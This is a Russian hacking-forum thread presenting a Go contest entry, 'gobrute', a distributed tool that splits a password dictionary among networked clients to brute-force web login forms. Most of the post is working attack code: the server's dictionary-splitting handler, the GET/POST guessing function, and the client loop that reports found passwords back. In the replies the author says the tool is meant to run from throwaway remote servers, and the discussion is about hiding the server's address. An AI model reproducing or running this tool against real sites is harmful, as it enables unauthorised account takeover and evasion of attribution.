• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Конкурс gobrute - децентрализованный брутфорс на golang

  • Автор темы network-computer
  • Дата начала
Статья для участия в Конкурсе программистов

Моя первая тема, поехали:

Программа для брутфорса веб форм.

Суть программы в ее децентрализации. Вы сервер, запускаете программу, она загружает в память словарь, который вы передали в параметрах и готова отдавать части этого словаря всем подключениям к ней. Клиент, который подключается к серверу, знает только его ip адрес, все остальное сервер сообщит клиенту сам (цель, начало атаки, его часть словаря) . Части словаря сервер отдает равномерно, например если словарь 8 млн записей и помимо сервера есть активное соединение, то сервер отдаст 4 млн записей клиенту, а 4 млн, будет обрабатывать сам, если клиентов двое, то сервер отдаст каждому по 2 миллиона записей и 2 миллиона оставит себе.

Почему именно на golang?
Потому что мне нравится этот язык + на работе очень часто его используем, по этому я решил попрактиковаться на нем

Аргументы командной строки для программы:
Код:
--mode=server или --mode=client - режим раб[ATTACH=full]24051[/ATTACH][ATTACH=full]24052[/ATTACH][ATTACH=full]24053[/ATTACH][ATTACH=full]24054[/ATTACH]оты программы, в роли сервера или в роли клиента

--p=3333 - порт на котором будет работать сервер

--t=http://example.com - если же вы собираетесь производить брут get запросами, то передавать

в этот параметр всю строку запроса, с паролем в виде переменной :password, например

http://example.com?index.php?username=admin&password=:password

--P - путь к файлу с паролями

--type=get или --type=post - какими запросами вы собираетесь брутфорсить форму

--LF - если же вы выбрали post запросы, то это название поля в запросе, содержащего логин

--PF - если же вы выбрали post запросы, то это название поля в запросе, содержащего пароль

--login - для какого логина вы собираетесь подбирать пароль

--stop - стоп слово, если это слово отсутствует в ответе на ваш запрос об автозирации на ресурсе, то пароль считать подобранным

--address - если программа работает в режиме клиента, то тут нужно указать адресс сервера и порт, на котором запущен сам сервер

В главной функции main мы получаем параметры и исходя из них выполняем функцию сервера или же клиента

C-подобный:
if *mode == "server" {
        if *passwordPath == "none" {
            fmt.Println("Password path (-P) not found")
            return
        }

        if strings.ToLower(*requestType) != "get" && strings.ToLower(*requestType) != "post" {

            fmt.Println("Request type (-type) not found")

            return

        }

        server_mode(*port, *target, *login, *stop, *passwordPath, *requestType, *loginField, *passwordField)

        return

    }

    if *mode == "client" {

        client_mode(*serverAddress)

        return

    }



И тут самое интересное

Запуск сервера. В горутине program у нас будет брутфорс со стороны сервера

C-подобный:
    fmt.Println("Starting server...")

    http.HandleFunc("/info", info)

    http.HandleFunc("/status", status)

    http.HandleFunc("/joined", joined)

    http.HandleFunc("/unjoined", unjoined)

    go program()

    err := http.ListenAndServe(fmt.Sprintf(":%d", port), nil)

    if err != nil {

        fmt.Println("Can't starting server")

        fmt.Println(err)

        return

    }

Методы сервера:
info - когда один из клиентов находит предположительный пароль, то он отправляет его серверу по адресу /info

status - самый важный метод, он разделяет загруженный словарь и отдает его клиентам

joined - когда клиент присоединяется к серверу, он дергает этот метод, для того, чтобы сервер знал количество соединений с ним

unjoined - соответственно отключение клиента


Рассмотрим метод status

Тут мы заполняем структуру ServerResponse и генерируем пароль исходя из соединений с сервером.

Если количество соединений не изменилось, пароль по новому не генерируем, лишь отдает клиенту статус атаки, началась или не началась

C-подобный:
func status(response http.ResponseWriter, request *http.Request) {

    var serverResponse ServerResponse

    serverResponse.Attack = startAttack

    serverResponse.Connection_count = connectCount

    serverResponse.Target = target

    serverResponse.Request_type = requestType

    serverResponse.Login = login

    serverResponse.Stop = stop

    serverResponse.Login_field = loginField

    serverResponse.Password_field = passwordField

    requestConnectCount := request.URL.Query().Get("connect_count")

    if fmt.Sprintf("%d", connectCount) == requestConnectCount {

        responseText, err := json.Marshal(serverResponse)

        if err != nil {

            fmt.Println(err)

            return

        }

        fmt.Fprintf(response, string(responseText))

        return

    }

    if len(passwordList)/connectCount != chunkSize {

        generatedPasswordList = passwordList

        chunkSize = len(passwordList) / connectCount

    }

    serverResponse.Password_list = generatedPasswordList[:chunkSize]

    generatedPasswordList = generatedPasswordList[chunkSize:]

    responseText, err := json.Marshal(serverResponse)

    if err != nil {

        fmt.Println(err)

        return

    }

    fmt.Fprintf(response, string(responseText))

}



Соответственно сам метод брутфорса, он один и для клиента и для сервера:

Тут мы просто посылаем запрос, исходя из переданных параметров

C-подобный:
func bruteforce(
    target string,
    method string,
    login string,
    password string,
    loginField string,
    passwordField string,
    stop string,
) string {
    var response *http.Response
    var err error
    if method == "POST" {
        data := url.Values{}
        data.Set(loginField, login)
        data.Set(passwordField, password)
        response, err = http.PostForm(target, data)
    }
    if method == "GET" {
        response, err = http.Get(target)
    }
    if err != nil {
        return ""
    }
    if response == nil {
        return fmt.Sprintf("Error response with password %s", password)
    }
    defer response.Body.Close()
    if response.StatusCode != 200 {
        return fmt.Sprintf("Error status code: %d with password %s", response.StatusCode, password)
    }
    responseText, _ := charset.NewReader(response.Body, response.Header.Get("Content-type"))
    text, _ := ioutil.ReadAll(responseText)
    if strings.ContainsAny(string(text), stop) {
        return ""
    }
    return password
}



Работа клиента очень проста:

В бесконечном цикле, мы опрашиваем сервер, получаем свою часть паролей и запускаем метод bruteforce, рассмотренный выше

C-подобный:
response, err := http.Get(address + "/status?connect_count=" + fmt.Sprintf("%d", connects))
        if err != nil {
            fmt.Println("Can't getting status server info")
            break
        }
        body, err := ioutil.ReadAll(response.Body)
        if len(body) <= 2 || err != nil {
            time.Sleep(time.Second * 2)
            continue
        }
        var data ServerRequest
        json.Unmarshal(body, &data)
        connects = data.Connection_count
        target := data.Target
        login := data.Login
        loginField := data.Login
        passwordField := data.Password_field
        stop := data.Stop
        requestType = data.Request_type
        if data.Attack {
            for _, password := range chunk {
                result := bruteforce(target, requestType, login, password, loginField, passwordField, stop)
                if result != "" {
                    fmt.Println(result)
                    http.Get(address + "/info?password=" + result)
                }
            }
            break

        }
        if len(data.Password_list) == 0 {

            continue

        }
        chunk = data.Password_list

        fmt.Println("Getting data, size:", len(chunk))

        time.Sleep(time.Second * 2)

    }



Результат работы программы:

result1.png

result2.png



Если вы запускаете на локальной машине используйте ngrok
Т.к. весь код находится в четырех файлах, то приведу ссылочку на GitHub страницу
на исполняемый фаил линукса. Если у вас Windows, то программа отлично скомпилируется под него. Спасибо, что прочитали, всем добра.
 

Вложения

  • result1.png
    result1.png
    95,8 КБ · Просмотры: 1 000
  • result2.png
    result2.png
    120,3 КБ · Просмотры: 706
Последнее редактирование модератором:

onero

Green Team
07.12.2018
17
51
BIT
9
А вот это действительно интересно, кажется знаю, за кого буду голосовать.
Только я не увидел, в каких строках сервер, после получения после получения от клиента верного пароля, дает сигнал остальным ботам закончить атаку?
И ip сервера обычно не палят и не применяют его для брута.
 
Последнее редактирование:
N

network-computer

А вот это действительно интересно, кажется знаю, за кого буду голосовать.
Только я не увидел, в каких строках сервер, после получения после получения от клиента верного пароля, дает сигнал остальным ботам закончить атаку?
И ip сервера обычно не палят и не применяют его для брута.
Сервер не оповещает клиентов, после нахождения предположительного пароля, брутфорс атака продолжается, т.к. она строится на анализе ответа от атакуемого сервера и есть очень маленькая вероятность, что пароль сработает в холостую. Примерно такая же ситуация есть в программе: patator.

И ip сервера обычно не палят и не применяют его для брута.
Да в этом есть логика конечно, но программа больше расчитана на запуск с удаленных, левых серверов, однако можно добавить использование прокси, я подумаю над этим. Спасибо
 
D

Dwight Schrute

Не вычитывал весь код, но сразу бросились в глаза некоторые моменты:

1) Парсинг аргументов командой строки можно сделать иначе, чтобы не засорять функцию main. Инициализацию аргументов можно делать внутри функции init()
Код:
var (
    maxWorkers  int
)

func init() {
    flag.IntVar(&maxWorkers, "workers", 2, "Max HTTP workers")
    flag.Parse()
}

2) mega8bit/gobrute следует помнить о том, что машинное слово на 64 битный архитектуре 8 байт и если вы наплодите большое количество объектов, где у вас bool поля (1 байт) стоят перед полями типа string (16 байт) или int (8 байт), то вы будете терять память на ровном месте. Если таких полей будет много и они будут в перемешку, то на каждом из них вы потеряете по 7 байт из-за memory alignment ( )
Простое правило, поля в структуре надо располагать от большего к меньшему.

3) Вы печатаете ошибки внутри функций, правильнее будет сделать так, что функция всегда возвращает ошибку или (результат, ошибку). И обработка ошибок делается в том месте, где функция вызывается.

4) Не пытайтесь писать на Go, как на Python, соблюдайте стилистику языка. Например имена функций принято писать camelCase.

5) mega8bit/gobrute Придумывать дефолтные значения для переменной излишне, достаточно использовать пустую строку и проверять, что переменная не пустая строка. Снова возвращаясь к обработке ошибок, вы можете возвращать из своих функций "настоящие" ошибки, например:
Код:
errors.New("Parameter port (-p) not correct")
 
N

network-computer

Не вычитывал весь код, но сразу бросились в глаза некоторые моменты:

1) Парсинг аргументов командой строки можно сделать иначе, чтобы не засорять функцию main. Инициализацию аргументов можно делать внутри функции init()
Код:
var (
    maxWorkers  int
)

func init() {
    flag.IntVar(&maxWorkers, "workers", 2, "Max HTTP workers")
    flag.Parse()
}

2) mega8bit/gobrute следует помнить о том, что машинное слово на 64 битный архитектуре 8 байт и если вы наплодите большое количество объектов, где у вас bool поля (1 байт) стоят перед полями типа string (16 байт) или int (8 байт), то вы будете терять память на ровном месте. Если таких полей будет много и они будут в перемешку, то на каждом из них вы потеряете по 7 байт из-за memory alignment ( )
Простое правило, поля в структуре надо располагать от большего к меньшему.

3) Вы печатаете ошибки внутри функций, правильнее будет сделать так, что функция всегда возвращает ошибку или (результат, ошибку). И обработка ошибок делается в том месте, где функция вызывается.

4) Не пытайтесь писать на Go, как на Python, соблюдайте стилистику языка. Например имена функций принято писать camelCase.

5) mega8bit/gobrute Придумывать дефолтные значения для переменной излишне, достаточно использовать пустую строку и проверять, что переменная не пустая строка. Снова возвращаясь к обработке ошибок, вы можете возвращать из своих функций "настоящие" ошибки, например:
Код:
errors.New("Parameter port (-p) not correct")

Спасибо, очень конструктивные замечания, особенно порадовал 2 пункт, очень интересно, рассказал коллегам, мы вам благодарны.
 
  • Нравится
Реакции: sinner67 и Dwight Schrute
C

Cenzor

Здравствуйте, Dwight Schrute, network-computer. Вы как практикующие Go, скажите, пожалуйста, под какие задачи Go заточен лучше остальных ЯП?
 
N

network-computer

Здравствуйте, Dwight Schrute, network-computer. Вы как практикующие Go, скажите, пожалуйста, под какие задачи Go заточен лучше остальных ЯП?
Основная ниша - микросервисы.
Соответственно если у вас бекэнд требует каких-нибудь серьезных вычислений, то микросервис на golang будет лучшим решением на мой взгляд
 
  • Нравится
Реакции: Cenzor
D

Dwight Schrute

Добрый день.

Да практически для всего, в первую очередь для работы с сетью и конкурентных приложений. Для меня Go находится по-середине между Python и C++. На Go я могу быть также продуктивен, как на Python, но при этом иметь производительность близкую к C++. Да, на Go нужно писать чуть больше кода, чем на Python, простой пример для работы с JSON. Но у всего есть своя цена, в Python многие вещи скрыты от пользователя в пользу простоты, но за это платишь производительностью.

Возвращаясь к конкурентной разработке, Python изначально не задумывался для этих задач, asyncio и другие библиотеки, годятся только для каких-то простых вещей. Условно есть список URL'ов, надо по ним пройтись и асинхронно скачать данные. Но как только появится дополнительная логика и условия, сложность программы вырастит в разы. Go изначально разрабатывался с прицелом на конкурентную разработку и такие приложения писать и поддерживать гораздо проще. Ведь программирование - это не только написать программу 1 раз и запустить, со временем код будет эволюционировать, если несколько человек работают над одним кодом, то все члены команды должны его понимать.

У Go богатая стандартная библиотека и хорошее комьюнити, в целом, как у Python. Go не так популярен в области машинного обучения, там главенствует Python.

Как уже написали выше про микросервисы, Go проще деплоить. В целом Docker делает этот процесс простым для Python и Go. Но если тебе нужно просто принести на сервер программу, достаточно просто скомпилировать бинарь под нужную архитектуру и запустить.

Если вы сейчас стоите перед выбором, какой язык лучше начать учить, Python или Go? То лучше сконцентрировать усилия на Go, а когда понадобится Python, вы быстро сможете его освоить, имея багаж знаний c Go.
 

gogigogilevich

New member
05.06.2020
1
0
BIT
0
С кем можно связаться по данному проекту? НАпишите пожалуйста в личку.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!